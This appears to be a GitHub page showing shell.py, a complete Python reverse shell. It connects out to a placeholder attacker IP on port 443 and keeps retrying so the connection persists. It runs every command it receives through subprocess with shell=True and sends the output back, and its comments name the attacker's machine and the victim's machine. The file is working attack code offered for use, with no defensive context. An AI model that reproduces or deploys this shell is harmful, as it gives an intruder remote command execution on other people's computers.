-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathshell.py
More file actions
60 lines (52 loc) · 2.04 KB
/
shell.py
File metadata and controls
60 lines (52 loc) · 2.04 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import socket
import subprocess
import os
IP = "192.x.x.x" # Change this to your Linux IP
PORT = 443 # Make sure this port is open on your Linux
def connect():
"""Creates a persistent connection to the attacker's machine."""
while True:
try:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((IP, PORT))
client.send("Welcome to your victim's machine!\n─$ ".encode()) # Initial prompt
shell(client)
except Exception:
client.close()
continue # Retry connection
def shell(client):
"""Keeps the shell open to receive commands."""
while True:
try:
data = client.recv(1024).decode().strip()
if not data:
client.send("─$ ".encode()) # Send prompt again if empty command
continue
elif data.lower() == "/exit":
client.close()
exit()
else:
execute_command(client, data)
except Exception:
break # If an error occurs, close connection and retry
def execute_command(client, command):
"""Executes a command and sends the output back to the attacker."""
try:
if command.lower().startswith("cd "):
path = command[3:].strip()
os.chdir(path)
response = f"Changed directory to {os.getcwd()}\n"
elif command.lower() == "ls":
response = "\n".join(os.listdir()) + "\n"
elif command.lower() == "pwd":
response = os.getcwd() + "\n"
else:
proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output, error = proc.communicate()
response = output.decode() + error.decode()
# Send response + fixed prompt
client.send((response + "─$ ").encode())
except Exception as e:
client.send(f"Error executing command: {e}\n─$ ".encode())
if __name__ == "__main__":
connect()